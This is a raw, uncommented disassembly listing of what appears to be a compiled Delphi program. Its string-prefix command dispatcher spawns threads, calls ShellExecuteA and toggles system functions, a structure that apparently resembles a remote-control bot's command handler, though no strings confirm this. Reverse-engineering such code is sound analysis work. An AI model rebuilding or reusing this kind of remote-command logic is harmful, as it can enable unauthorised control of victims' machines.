mov ecx, dword [eax]
call dword [ecx + 0x2c]
xor eax, eax
push ebp
push 0x479e52
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x1a8]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x479e39
inc ebx
xor esi, esi
lea ecx, [ebp - 0x1c]
mov edx, esi
mov eax, dword [ebp - 0x1a8]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00405a44
mov edx, dword [ebp - 0x1c]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0x1c]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00405a44
mov edx, dword [ebp - 0x1c]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0x1c]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00405a44
mov edx, dword [ebp - 0x1c]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0x1c]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
call fcn.004055c8
push 0x10
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x1a4]
mov edi, eax
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [edi + 4]
mov edx, dword [ebp - 0x10]
call fcn.00405584
lea eax, [edi + 8]
mov edx, dword [ebp - 0x14]
call fcn.00405584
lea eax, [edi + 0xc]
mov edx, dword [ebp - 0x18]
call fcn.00405584
lea eax, [ebp - 4]
push eax
push 0
mov eax, dword [ebp - 0x1a4]
push eax
push 0x475bd4
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push eax
call sub.kernel32.dll_CloseHandle_1
inc esi
dec ebx
jne 0x479cfc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x479e59
mov eax, dword [ebp - 0x1a8]
call fcn.00404650
ret
lea eax, [ebp - 0x558]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x558]
mov edx, 0x47e060
call fcn.00405974
jne 0x479f49
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
push 0x10
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x1a4]
mov ebx, eax
mov eax, ebx
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [ebx + 4]
mov edx, dword [ebp - 0x10]
call fcn.00405584
lea eax, [ebx + 8]
mov edx, 0x47d4f0
call fcn.00405584
lea eax, [ebx + 0xc]
mov edx, 0x47dd4c
call fcn.00405584
lea eax, [ebp - 4]
push eax
push 0
mov eax, dword [ebp - 0x1a4]
push eax
push 0x475bd4
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push eax
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x55c]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x55c]
mov edx, 0x47e078
call fcn.00405974
jne 0x479fe8
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x560]
call fcn.0048a3f0
lea eax, [ebp - 0x560]
mov edx, 0x47e08c
call fcn.00405818
mov edx, dword [ebp - 0x560]
mov eax, dword [ebp - 8]
call fcn.0048b3a8
push 0
push 0
push 0
lea eax, [ebp - 0x564]
call fcn.0048a3f0
lea eax, [ebp - 0x564]
mov edx, 0x47e08c
call fcn.00405818
mov eax, dword [ebp - 0x564]
call fcn.004059dc
push eax
push 0x47e09c
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 8]
mov edx, 0x47e0ac
call fcn.00405974
jne 0x47a07b
lea eax, [ebp - 0x568]
call fcn.00470c84
cmp dword [ebp - 0x568], 0
je 0x47a03b
lea eax, [ebp - 0x570]
call fcn.00470c84
mov ecx, dword [ebp - 0x570]
lea eax, [ebp - 0x56c]
mov edx, 0x47e0c8
call fcn.00405864
mov eax, dword [ebp - 0x56c]
call fcn.00475d98
lea eax, [ebp - 0x574]
call fcn.00470cb0
cmp dword [ebp - 0x574], 0
je 0x47a07b
lea eax, [ebp - 0x57c]
call fcn.00470cb0
mov ecx, dword [ebp - 0x57c]
lea eax, [ebp - 0x578]
mov edx, 0x47e0dc
call fcn.00405864
mov eax, dword [ebp - 0x578]
call fcn.00475d98
mov eax, dword [ebp - 8]
mov edx, 0x47e0f0
call fcn.00405974
jne 0x47a0b6
lea eax, [ebp - 0x584]
call fcn.00470c84
mov ecx, dword [ebp - 0x584]
lea eax, [ebp - 0x580]
mov edx, 0x47e10c
call fcn.00405864
mov eax, dword [ebp - 0x580]
call fcn.00475d98
lea eax, [ebp - 0x588]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x588]
mov edx, 0x47e120
call fcn.00405974
jne 0x47a12f
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
movzx eax, byte [0x47d4b8]
push eax
lea eax, [ebp - 0x58c]
push eax
mov ecx, 0x47e134
mov edx, 0x47e140
mov eax, dword [ebp - 8]
call fcn.0040ef4c
mov edx, dword [ebp - 0x58c]
lea eax, [ebp - 8]
call fcn.004055c8
call fcn.00431a18
mov edx, dword [ebp - 8]
call fcn.004315a0
mov eax, dword [ebp - 8]
mov edx, 0x47e14c
call fcn.00405974
jne 0x47a148
call fcn.00431a18
mov edx, dword [eax]
call dword [edx + 0x10]
lea eax, [ebp - 0x590]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x590]
mov edx, 0x47e15c
call fcn.00405974
jne 0x47a22c
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x594]
call fcn.00470e48
mov eax, dword [ebp - 0x594]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f44
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47e170
call fcn.00405974
jne 0x47a2bf
push 0
call sub.ole32.dll_CoInitialize
xor eax, eax
push ebp
push 0x47a2b8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x59c]
call fcn.00464f20
mov eax, dword [ebp - 0x59c]
lea edx, [ebp - 0x598]
call fcn.00409b84
cmp dword [ebp - 0x598], 0
je 0x47a2a5
lea eax, [ebp - 0x5a4]
call fcn.00464f20
mov ecx, dword [ebp - 0x5a4]
lea eax, [ebp - 0x5a0]
mov edx, 0x47e180
call fcn.00405864
mov eax, dword [ebp - 0x5a0]
call fcn.00475d98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47a2bf
call sub.ole32.dll_CoUninitialize
ret
lea eax, [ebp - 0x5a8]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x5a8]
mov edx, 0x47e194
call fcn.00405974
jne 0x47a3a3
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x5ac]
call fcn.0048b464
mov eax, dword [ebp - 0x5ac]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f44
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47e1ac
call fcn.00405974
jne 0x47a3b7
call fcn.0046dd44
mov eax, dword [ebp - 8]
mov edx, 0x47e1c0
call fcn.00405974
jne 0x47a3cb
call fcn.0046dd68
mov eax, dword [ebp - 8]
mov edx, 0x47e1d4
call fcn.00405974
jne 0x47a3df
call fcn.0046db6c
mov eax, dword [ebp - 8]
mov edx, 0x47e1e8
call fcn.00405974
jne 0x47a3f3
call fcn.0046dbd0
mov eax, dword [ebp - 8]
mov edx, 0x47e1fc
call fcn.00405974
jne 0x47a407
call fcn.0046dc34
mov eax, dword [ebp - 8]
mov edx, 0x47e218
call fcn.00405974
jne 0x47a41b
call fcn.0046dc78
mov eax, dword [ebp - 8]
mov edx, 0x47e234
call fcn.00405974
jne 0x47a42f
call fcn.0046dcbc
mov eax, dword [ebp - 8]
mov edx, 0x47e250
call fcn.00405974
jne 0x47a443
call fcn.0046dd00
mov eax, dword [ebp - 8]
mov edx, 0x47e26c
call fcn.00405974
jne 0x47a457
call fcn.004711bc
mov eax, dword [ebp - 8]
mov edx, 0x47e280
call fcn.00405974
jne 0x47a46b
call fcn.00471194
mov eax, dword [ebp - 8]
mov edx, 0x47e294
call fcn.00405974
jne 0x47a481
xor eax, eax
call fcn.0047120c
mov eax, dword [ebp - 8]
mov edx, 0x47e2ac
call fcn.00405974
jne 0x47a497
mov al, 1
call fcn.0047120c
mov eax, dword [ebp - 8]
mov edx, 0x47e2c4
call fcn.00405974
jne 0x47a4ad
xor eax, eax
call fcn.0047112c
mov eax, dword [ebp - 8]
mov edx, 0x47e2e0
call fcn.00405974
jne 0x47a4c3
mov al, 1
call fcn.0047112c
mov eax, dword [ebp - 8]
mov edx, 0x47e2fc
call fcn.00405974
jne 0x47a4d9
mov al, 1
call fcn.00470ff0
mov eax, dword [ebp - 8]
mov edx, 0x47e318
call fcn.00405974
jne 0x47a4ef
xor eax, eax
call fcn.00470ff0
mov eax, dword [ebp - 8]
mov edx, 0x47e334
call fcn.00405974
jne 0x47a503
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47d44c
lea eax, [ebp - 0x7ac]
mov edx, 0x27
call fcn.00405554
lea eax, [ebp - 0x710]
call fcn.0040700c
lea eax, [ebp - 0x70c]
mov edx, 0x3b
call fcn.00405554
lea eax, [ebp - 0x61c]
call fcn.00405530
lea eax, [ebp - 0x620]
call fcn.00405530
lea eax, [ebp - 0x618]
mov edx, 0x5d
call fcn.00405554
lea eax, [ebp - 0x4a4]
call fcn.0040700c
lea eax, [ebp - 0x4a0]
call fcn.00405d28
lea eax, [ebp - 0x49c]
call fcn.0040700c
lea eax, [ebp - 0x498]
call fcn.00405d28
lea eax, [ebp - 0x494]
call fcn.0040700c
lea eax, [ebp - 0x490]
call fcn.00405d28
lea eax, [ebp - 0x48c]
call fcn.0040700c
lea eax, [ebp - 0x488]
call fcn.00405d28
lea eax, [ebp - 0x484]
call fcn.0040700c
lea eax, [ebp - 0x480]
call fcn.00405d28
lea eax, [ebp - 0x47c]
mov edx, dword [0x45e9cc]
mov ecx, 5
call fcn.004060f8
lea eax, [ebp - 0x468]
mov edx, 0x37
call fcn.00405554
lea eax, [ebp - 0x384]
mov edx, 0x24
call fcn.00405554
lea eax, [ebp - 0x2f4]
mov edx, 0x3b
call fcn.00405554
lea eax, [ebp - 0x198]
mov edx, dword [0x408b30]
call fcn.004060ac
lea eax, [ebp - 0x38]
call fcn.00411658
lea eax, [ebp - 0x28]
mov edx, 9
call fcn.00405554
ret